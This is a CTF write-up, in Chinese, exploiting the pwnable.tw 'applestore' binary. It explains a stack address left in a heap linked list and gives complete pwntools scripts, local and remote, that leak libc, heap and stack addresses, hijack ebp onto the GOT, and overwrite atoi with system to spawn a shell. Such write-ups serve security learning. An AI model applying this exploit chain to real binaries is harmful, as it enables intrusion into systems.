checkout函数,顾名思义,就是结账的地方。不过这里不管你买多少,都只会输出让你下次再结账的提示。

不过我们可以看到,这里有个if分支。当cart的返回值(购物总价值)为7174美元时,就会弹出一个”一美元买iphone 8”的提示。并且调用了asprintf和insert两个函数,将一美元的iphone加入购物车列表中,最后将购物车总价值改为7175.

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert(&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

这里有一个很奇怪的点,跟add函数中添加一部手机的操作不一样。

  • add函数中是申请一块堆内存用于存放加入购物车的手机信息
  • 而iphone 8的信息是存在栈空间V2处的,而这个V2又会被加入到之前的链表中。因此一个栈空间地址被写入了堆中,而栈是不断在变化的,因此就出现了一段可能被控制的内存,即V2附近。

由以上代码中的信息,我们可以得到如下图所示栈空间的布局:

image

漏洞点

checkout里存放在栈上的iphone 8信息就是本题的漏洞点,因为栈的地址被写入了堆中。

这段栈空间在checkout函数返回后,会被其他函数使用。因此堆中指向的栈空间信息是可能被我们任意更改的。

而本题恰好给我们提供了两个函数:cart和delete,分别用于打印和删除(在链表中执行unlink操作时即任意地址写),可以被我们利用来泄露信息和任意地址写限定值(或限定地址写任意值)。

1.3 触发漏洞

为了触发漏洞,必须使checkout的iphone 8分支被执行。也就是在执行checkout之前,我们必须add够正好7174美元的手机。手机有4种价格:199, 299, 399, 499。那么怎么搭配这四种价格凑齐7174美元,就需要使用各自的方法了。这里提供几种途径:

  • Z3求解器
  • matlab
  • wolf mathematics
  • 靠各位的智力脑算+手算…

这里借用一下我男票算到的结果:6 * 199 + 20 * 299 = 7174

触发脚本如下:

from pwn import *
context(arch='i386',os='linux',log_level='debug')

myelf = ELF('applestore')
myps = process(myelf.path)

add = '2'
delete = '3'
cart = '4'
checkout = '5'

def mysend(op,payload):
    myps.sendlineafter('>',op)
    myps.sendlineafter('>',payload)

for i in range(6):
    mysend(add,'1')
for i in range(20):
    mysend(add,'2')
mysend(checkout,'y')
myps.recv()
myps.interactive()

执行该脚本,得到如下结果,进入了1美元买iphone8的分支:

20: iPhone 6 Plus - $299
21: iPhone 6 Plus - $299
22: iPhone 6 Plus - $299
23: iPhone 6 Plus - $299
24: iPhone 6 Plus - $299
25: iPhone 6 Plus - $299
26: iPhone 6 Plus - $299
*: iPhone 8 - $1
Total: $7175
Want to checkout? Maybe next time!
> $  

此时,程序回到了handler分支,checkout的函数栈已经被释放,因此iphone 8的栈空间接下来可能存在两种可能:

  • 1、这段栈空间的值没被覆盖,那么iphone 8 的栈块信息是还在的,此时查看链表或者删除链表中该项也许不会有问题。(没有尝试)
  • 2、这段栈空间被分配给了新函数,并且新函数覆盖上了新值。那么此时对整个链表进行查看或删除iphone 8这一项时,就会出现问题。

我们执行4(cart查看购物车),等于将刚刚chekout的栈分配给了cart函数。那么就会出现如下错误(如果使用delete删除最后一项,也会出错):

Total: $7175
Want to checkout? Maybe next time!
> $ 4
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x24 bytes:
    'Let me check your cart. ok? (y/n) > '
Let me check your cart. ok? (y/n) > $ y
······
20: iPhone 6 Plus - $299
21: iPhone 6 Plus - $299
22: iPhone 6 Plus - $299
23: iPhone 6 Plus - $299
24: iPhone 6 Plus - $299
25: iPhone 6 Plus - $299
26: iPhone 6 Plus - $299
27: �f\x89p\x0c\x89x\x0e\x05- $-136495008
[*] Got EOF while reading in interactive
$  

出错的原因是,iphone8相关的数据都存在栈上,在checkout函数退出后,栈上的数据被cart函数的局部变量覆盖。导致cart中遍历访问链表时,访问到iphone 8时访问了非法的地址。

2 利用

1.2.5节漏洞点中阐述了这个漏洞可以用来泄露信息以及有约束地写。

  • 1、如果我们把iphone 8数据所在的栈空间覆盖为构造的特定数据,就可以打印(泄露)我们想要的内容。比如说libc。(后面需要用到堆地址,所以这里还需泄露堆、以及栈空间的地址)
  • 2、有约束地写,由于got表可写,因此我们一定是利用这个任意地址写去覆写got表项。

2.1 信息泄露- cart

如下图所示,精心布置cart函数的栈帧,控制ebp-0x20处连续16个字节的值(在IDA中查看cart函数的伪码可知,ebp-0x20 ~ ebp-0x10空间是输入buf,可控)。如图中红色栈块所示,cart函数打印到栈上的块时,会将got表中puts函数的地址打印出来。并且由于fd不为空,会继续以mycart偏移8字节处作为一个新块,去打印info_loc的地址,此时就将堆的地址泄露出来了(当然也可以像泄露puts地址一样,去泄露堆地址)。

利用泄露puts函数地址的方法,可以逐步泄露其他信息。

image

2.1.1 泄露libc和堆地址

from pwn import *
context(arch='i386',os='linux',log_level='debug')

myelf = ELF('applestore')
mylibc = ELF('/lib32/libc-2.23.so')
myps = process(myelf.path)

add = '2'
delete = '3'
cart = '4'
checkout = '5'

def mysend(op,payload):
    myps.sendlineafter('> ',op)
    myps.sendlineafter('> ',payload)

for i in range(6):
    mysend(add,'1')
for i in range(20):
    mysend(add,'2')
mysend(checkout,'y')

payload = 'y\x00'+p32(myelf.got['puts'])+p32(1)+p32(0x0804B070)+p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
libc_addr = u32(myps.recv(4))-mylibc.symbols['puts']
myps.recvuntil('28: ')
heap_addr = u32(myps.recv(4))
##修正heap地址
#heap_addr = u32(myps.recv(44)) - 0x490

log.warn('libc_addr:0x%x' % libc_addr)
log.warn('heap_addr:0x%x' % heap_addr)

gdb.attach(myps,'b * 0x08048BEB')
myps.interactive()

打印出的两个地址如下:

[!] libc_addr:0xf7d5a000
[!] heap_addr:0x830c490

在执行脚本过程中弹出的gdb调试终端框中,执行vmmap,查看libc的起始地址为0xf7d5a000。使用heap chunks查看第一个堆的地址(0x830c008 - 0x8 = 0x830c000),并对上述打印的堆地址修正(0x830c000 = 0x830c490 - 0x490,已更改到上述代码中):

gef➤  vmmap
Start      End        Offset     Perm Path
0xf7d5a000 0xf7f07000 0x00000000 r-x /lib32/libc-2.23.so
0xf7f07000 0xf7f08000 0x001ad000 --- /lib32/libc-2.23.so
0xf7f08000 0xf7f0a000 0x001ad000 r-- /lib32/libc-2.23.so
0xf7f0a000 0xf7f0b000 0x001af000 rw- /lib32/libc-2.23.so

gef➤  heap chunks
Chunk(addr=0x830c008, size=0x408, flags=PREV_INUSE)
    [0x0830c008     3e 20 3a 20 90 c4 30 08 c7 20 2d 20 24 30 0a 08    > : ..0.. - $0..]
Chunk(addr=0x830c410, size=0x18, flags=PREV_INUSE)
    [0x0830c410     90 c4 30 08 c7 00 00 00 28 c4 30 08 68 b0 04 08    ..0.....(.0.h...]
Chunk(addr=0x830c428, size=0x18, flags=PREV_INUSE)
    [0x0830c428     40 c4 30 08 c7 00 00 00 50 c4 30 08 10 c4 30 08    @.0.....P.0...0.]
Chunk(addr=0x830c440, size=0x10, flags=PREV_INUSE)
    [0x0830c440     69 50 68 6f 6e 65 20 36 00 00 00 00 19 00 00 00    iPhone 6........]

2.1.2 泄露栈地址

第26个节点的fd中存放的是第27个节点的地址(即栈中某个地址)。

接着在1.3.1节中弹出的gdb调试框中,打印esp和ebp的值,分别为0xfffd4038和0xfffd4078。由此我们推测栈空间的地址应该是由0xfffd开头的,然后去打印出的堆chunks中寻找”fd ff”字样。仅在addr=0x830c8a8的chunk中找到一个”0xfffd4058”,这就是一个栈空间的地址。那么该地址值距离堆起始地址的偏移是0x830c8a8 + 0x8 - 0x830c000 = 0x8b0:

Chunk(addr=0x830c890, size=0x18, flags=PREV_INUSE)
    [0x0830c890     10 c9 30 08 2b 01 00 00 a8 c8 30 08 40 c8 30 08    ..0.+.....0.@.0.]
Chunk(addr=0x830c8a8, size=0x18, flags=PREV_INUSE)
    [0x0830c8a8     c0 c8 30 08 2b 01 00 00 58 40 fd ff 90 c8 30 08    ..0.+...X@....0.]
Chunk(addr=0x830c8c0, size=0x18, flags=PREV_INUSE)
    [0x0830c8c0     69 50 68 6f 6e 65 20 36 20 50 6c 75 73 00 00 00    iPhone 6 Plus...]
Chunk(addr=0x830c8d8, size=0x10, flags=PREV_INUSE)
    [0x0830c8d8     69 50 68 6f 6e 65 20 38 00 00 00 00 29 00 00 00    iPhone 8....)...]
Chunk(addr=0x830c8e8, size=0x28, flags=PREV_INUSE)
    [0x0830c8e8     b0 a7 f0 f7 b0 a7 f0 f7 00 00 00 00 11 07 02 00    ................]
Chunk(addr=0x830c910, size=0x18, flags=)
    [0x0830c910     69 50 68 6f 6e 65 20 36 20 50 6c 75 73 00 00 00    iPhone 6 Plus...]
Chunk(addr=0x830c928, size=0x206e0, flags=PREV_INUSE)  ←  top chunk
gef➤  p $esp
$1 = (void *) 0xfffd4038
gef➤  p $ebp
$2 = (void *) 0xfffd4078

由上述内容可知,我们想要的栈空间地址在堆起始地址heap_addr+0x8b0处。因此在2.1.1的python代码中再添加一步,就可以泄露栈空间地址:

from pwn import *
context(arch='i386',os='linux',log_level='debug')

myelf = ELF('applestore')
mylibc = ELF('/lib32/libc-2.23.so')
myps = process(myelf.path)

add = '2'
delete = '3'
cart = '4'
checkout = '5'

def mysend(op,payload):
    myps.sendlineafter('> ',op)
    myps.sendlineafter('> ',payload)

for i in range(6):
    mysend(add,'1')
for i in range(20):
    mysend(add,'2')
mysend(checkout,'y')

payload = 'y\x00'+p32(myelf.got['puts'])+p32(1)+p32(0x0804B070)+p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
libc_addr = u32(myps.recv(4))-mylibc.symbols['puts']
myps.recvuntil('28: ')
heap_addr = u32(myps.recv(4)) - 0x490

payload = 'y\x00' + p32(heap_addr + 0x8b0) + p32(1) + p32(0x0804B070) + p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
stack_addr = u32(myps.recv(4))

log.warn('libc_addr:0x%x' % libc_addr)
log.warn('heap_addr:0x%x' % heap_addr)
log.warn('satck_addr:0x%x' % stack_addr)

gdb.attach(myps,'b * 0x08048BEB')
myps.interactive()

得到如下结果:

[!] libc_addr:0xf7d48000
[!] heap_addr:0x9603000
[!] satck_addr:0xffb3e518
===========================================================
Chunk(addr=0x9603890, size=0x18, flags=PREV_INUSE)
    [0x09603890     10 39 60 09 2b 01 00 00 a8 38 60 09 40 38 60 09    .9`.+....8`.@8`.]
Chunk(addr=0x96038a8, size=0x18, flags=PREV_INUSE)
    [0x096038a8     c0 38 60 09 2b 01 00 00 18 e5 b3 ff 90 38 60 09    .8`.+........8`.]
Chunk(addr=0x96038c0, size=0x18, flags=PREV_INUSE)
    [0x096038c0     69 50 68 6f 6e 65 20 36 20 50 6c 75 73 00 00 00    iPhone 6 Plus...]
Chunk(addr=0x96038d8, size=0x10, flags=PREV_INUSE)
    [0x096038d8     69 50 68 6f 6e 65 20 38 00 00 00 00 29 00 00 00    iPhone 8....)...]
Chunk(addr=0x96038e8, size=0x28, flags=PREV_INUSE)
    [0x096038e8     b0 87 ef f7 b0 87 ef f7 00 00 00 00 11 07 02 00    ................]
Chunk(addr=0x9603910, size=0x18, flags=)
    [0x09603910     69 50 68 6f 6e 65 20 36 20 50 6c 75 73 00 00 00    iPhone 6 Plus...]
Chunk(addr=0x9603928, size=0x206e0, flags=PREV_INUSE)  ←  top chunk
gef➤  p $esp
$1 = (void *) 0xffb3e4f8
gef➤  p $ebp
$2 = (void *) 0xffb3e538

2.2 任意地址写 - delete

以下图为例,假如我们要删除info_loc_1这个堆块,则必须执行如下几条命令,将其从链表中拆除:

info_loc_2.bk = info_loc_1.bk
info_loc.fd = info_loc_1.fd

如果只用当前要被删除的项info_loc_1来表示,相当于:

info_loc_1.fd[3] = info_loc_1.bk
info_loc_a.bk[2] = info_loc_1.fd
//简写为:
fd[3] = bk
bk[2] = fd

image

如下图,可以形象地描述任意地址写的两种情况,实际利用使选择任何一种都可。

image

2.2.1 泄露ebp地址

下面验证一下handler下的函数在被调用时,其ebp是一样的:

from pwn import *
context(arch='i386',os='linux',log_level='debug')

myelf = ELF('applestore')
mylibc = ELF('/lib32/libc-2.23.so')
myps = process(myelf.path)

add = '2'
delete = '3'
cart = '4'
checkout = '5'

def mysend(op,payload):
    myps.sendlineafter('> ',op)
    myps.sendlineafter('> ',payload)

for i in range(6):
    mysend(add,'1')
for i in range(20):
    mysend(add,'2')
mysend(checkout,'y')

payload = 'y\x00'+p32(myelf.got['puts'])+p32(1)+p32(0x0804B070)+p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
libc_addr = u32(myps.recv(4))-mylibc.symbols['puts']
myps.recvuntil('28: ')
heap_addr = u32(myps.recv(4)) - 0x490

payload = 'y\x00' + p32(heap_addr + 0x8b0) + p32(1) + p32(0x0804B070) + p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
stack_addr = u32(myps.recv(4))
ebp_addr = stack_addr + 0x20

log.warn('libc_addr:0x%x' % libc_addr)
log.warn('heap_addr:0x%x' % heap_addr)
log.warn('satck_addr:0x%x' % stack_addr)
log.warn('ebp_addr:0x%x' % ebp_addr)

gdb.attach(myps,'b * 0x080489C0 \nc \np $ebp')
mysend(delete,'3')

myps.interactive()

如下图,发现ebp地址对得上,说明delete函数中的ebp确实跟之前函数的ebp是一致的:

[!] libc_addr:0xf7d5f000
[!] heap_addr:0x8c89000
[!] satck_addr:0xffa9f2d8
[!] ebp_addr:0xffa9f2f8
=========================================================
[#0] 0x80489c0 → delete()
[#1] 0x8048c46 → handler()
[#2] 0x8048cf5 → main()
──────────────────────────────────────────────────────
$1 = (void *) 0xffa9f2f8
gef➤  

2.2.2 劫持ebp到got表

泄露完ebp地址后,就可以利用delete函数去更改栈空间中存放的old ebp,从而使函数退出时,实现ebp劫持。

劫持到哪儿呢?当然是got表啦!通过IDA查看该二进制程序中got表的地址是0x0804B000至0x0804B040,因此got表底部为0x0804B044。

将ebp劫持到got表底部的验证代码如下:

from pwn import *
context(arch='i386',os='linux',log_level='debug')

myelf = ELF('applestore')
mylibc = ELF('/lib32/libc-2.23.so')
myps = process(myelf.path)

add = '2'
delete = '3'
cart = '4'
checkout = '5'

def mysend(op,payload):
    myps.sendlineafter('> ',op)
    myps.sendlineafter('> ',payload)

for i in range(6):
    mysend(add,'1')
for i in range(20):
    mysend(add,'2')
mysend(checkout,'y')

payload = 'y\x00'+p32(myelf.got['puts'])+p32(1)+p32(0x0804B070)+p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
libc_addr = u32(myps.recv(4))-mylibc.symbols['puts']
myps.recvuntil('28: ')
heap_addr = u32(myps.recv(4)) - 0x490

payload = 'y\x00' + p32(heap_addr + 0x8b0) + p32(1) + p32(0x0804B070) + p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
stack_addr = u32(myps.recv(4))
ebp_addr = stack_addr + 0x20

for i in range (23):
    mysend(delete,'1')

gdb.attach(myps,'b * 0x08048A6F \nc \np $ebp')
payload = '4\x00' + p32(myelf.got['puts']) + p32(1) + p32(ebp_addr-0xc) + p32(0x0804B044)
mysend(delete,payload)

myps.interactive()

在gdb窗口中,验证old ebp确实被替换成了我们想要的0x0804B044(got表尾地址)。

gef➤  p $ebp
$1 = (void *) 0xffba66e8
gef➤  p $esp
$2 = (void *) 0xffba66a0
gef➤  x/20wx 0xffba66e8
0xffba66e8:	0x0804b044	0x08048c46	0xffba6706	0x00000015
0xffba66f8:	0xffba6718	0xf7e26020	0x00000003	0x0a333918
0xffba6708:	0xf7e26000	0x080486f7	0x08048e23	0x00000006
0xffba6718:	0xffba6774	0x87bfaa00	0xf7f8edbc	0xf7f001e5
0xffba6728:	0xffba6748	0x08048cf5	0x0804b068	0x00000000
gef➤  x/20wx 0xffba66a0
0xffba66a0:	0x08048f98	0x00000004	0x0804b028	0x00000000
0xffba66b0:	0x00000004	0xffba66c8	0x00000004	0xffba66dc
0xffba66c0:	0x0804b044	0x00346706	0x0804b028	0x00000001
0xffba66d0:	0xffba66dc	0x0804b044	0x0000000a	0x87bfaa00
0xffba66e0:	0xf7f8d000	0xf7f8d000	0x0804b044	0x08048c46

2.2.3 劫持ebp并覆写got表

上述将ebp劫持到got表尾后,程序回到了handler中,函数如下。可以看到which_phone变量在ebp-0x22处(此时ebp-0x22正好在got表中),因此我们可以通过which_phone的输入去更改got表中的内容。

如果我们能把atoi改成system,并且把which_phone的内容改成”sh”,那么就能在atoi(&which_phone)时获得shell。

unsigned int handler()
{
  char which_phone; // [esp+16h] [ebp-22h]
  unsigned int v2; // [esp+2Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  while ( 1 )
  {
    printf("> ");
    fflush(stdout);
    my_read(&which_phone, 0x15u);
    switch ( atoi(&which_phone) )
    { ······

got表最后几项内容:

.got.plt:0804B030 9C B0 04 08                   off_804B030     dd offset exit          ; DATA XREF: _exit↑r
.got.plt:0804B034 A0 B0 04 08                   off_804B034     dd offset __libc_start_main
.got.plt:0804B034                                                                       ; DATA XREF: ___libc_start_main↑r
.got.plt:0804B038 A4 B0 04 08                   off_804B038     dd offset memset        ; DATA XREF: _memset↑r
.got.plt:0804B03C A8 B0 04 08                   off_804B03C     dd offset asprintf      ; DATA XREF: _asprintf↑r
.got.plt:0804B040 AC B0 04 08                   off_804B040     dd offset atoi          ; DATA XREF: _atoi↑r
.got.plt:0804B040                               _got_plt        ends
.got.plt:0804B040
.data:0804B044                               ; =======================================================

atoi函数是got表中最后一项,它的上一项是asprintf。,令asprintf的地址为ebp-0x22,则构造which_phone为”sh\x00\x00” + (mylibc.symbols[‘system’] + libc_addr),就可以将asprintf和atoi表项分别覆盖为”sh\x00\x00”和”system函数”。因此当执行switch括号中的atoi(&which_phone)时,相当于执行了system(“sh”)。

跟2.2.2中劫持ebp到got表的位置不同,这里需将ebp劫持到myelf.got[‘asprintf’]+0x22,才能使其满足上述条件。

因此payload为:

payload = "2\x00" + p32(myelf.got['puts']) + p32(1) + p32(ebp_addr - 0xc) + p32(myelf.got['asprintf']+0x22)

3 EXP

3.1 本地

from pwn import *
context(arch='i386',os='linux',log_level='debug')

myelf = ELF('applestore')
mylibc = ELF('/lib32/libc-2.23.so')
myps = process(myelf.path)

add = '2'
delete = '3'
cart = '4'
checkout = '5'

def mysend(op,payload):
    myps.sendlineafter('> ',op)
    myps.sendlineafter('> ',payload)

for i in range(6):
    mysend(add,'1')
for i in range(20):
    mysend(add,'2')
mysend(checkout,'y')

payload = 'y\x00'+p32(myelf.got['puts'])+p32(1)+p32(0x0804B070)+p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
libc_addr = u32(myps.recv(4))-mylibc.symbols['puts']
myps.recvuntil('28: ')
heap_addr = u32(myps.recv(4)) - 0x490

payload = 'y\x00' + p32(heap_addr + 0x8b0) + p32(1) + p32(0x0804B070) + p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
stack_addr = u32(myps.recv(4))
ebp_addr = stack_addr + 0x20

for i in range (23):
    mysend(delete,'1')

payload = '4\x00' + p32(myelf.got['puts']) + p32(1) + p32(ebp_addr-0xc) + p32(myelf.got['asprintf']+0x22)
mysend(delete,payload)

which_phone = "sh\x00\x00" + p32(mylibc.symbols['system'] + libc_addr)
myps.sendlineafter('> ',which_phone)
myps.interactive()

3.2 远程

from pwn import *
context(arch='i386',os='linux',log_level='debug')

myelf = ELF('applestore')
mylibc = ELF('../libc_32.so.6')
myps = remote('chall.pwnable.tw',10104)

add = '2'
delete = '3'
cart = '4'
checkout = '5'

def mysend(op,payload):
    myps.sendlineafter('> ',op)
    myps.sendlineafter('> ',payload)

for i in range(6):
    mysend(add,'1')
for i in range(20):
    mysend(add,'2')
mysend(checkout,'y')

payload = 'y\x00'+p32(myelf.got['puts'])+p32(1)+p32(0x0804B070)+p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
libc_addr = u32(myps.recv(4))-mylibc.symbols['puts']
myps.recvuntil('28: ')
heap_addr = u32(myps.recv(4)) - 0x490

payload = 'y\x00' + p32(heap_addr + 0x8b0) + p32(1) + p32(0x0804B070) + p32(1)
mysend(cart,payload)

myps.recvuntil('27: ')
stack_addr = u32(myps.recv(4))
ebp_addr = stack_addr + 0x20

for i in range (23):
    mysend(delete,'1')

payload = '4\x00' + p32(myelf.got['puts']) + p32(1) + p32(ebp_addr-0xc) + p32(myelf.got['asprintf']+0x22)
mysend(delete,payload)

which_phone = "sh\x00\x00" + p32(mylibc.symbols['system'] + libc_addr)
myps.sendlineafter('> ',which_phone)
myps.interactive()

4 reference

C语言alarm()函数:设置信号传送闹钟

asprintf

Read More

^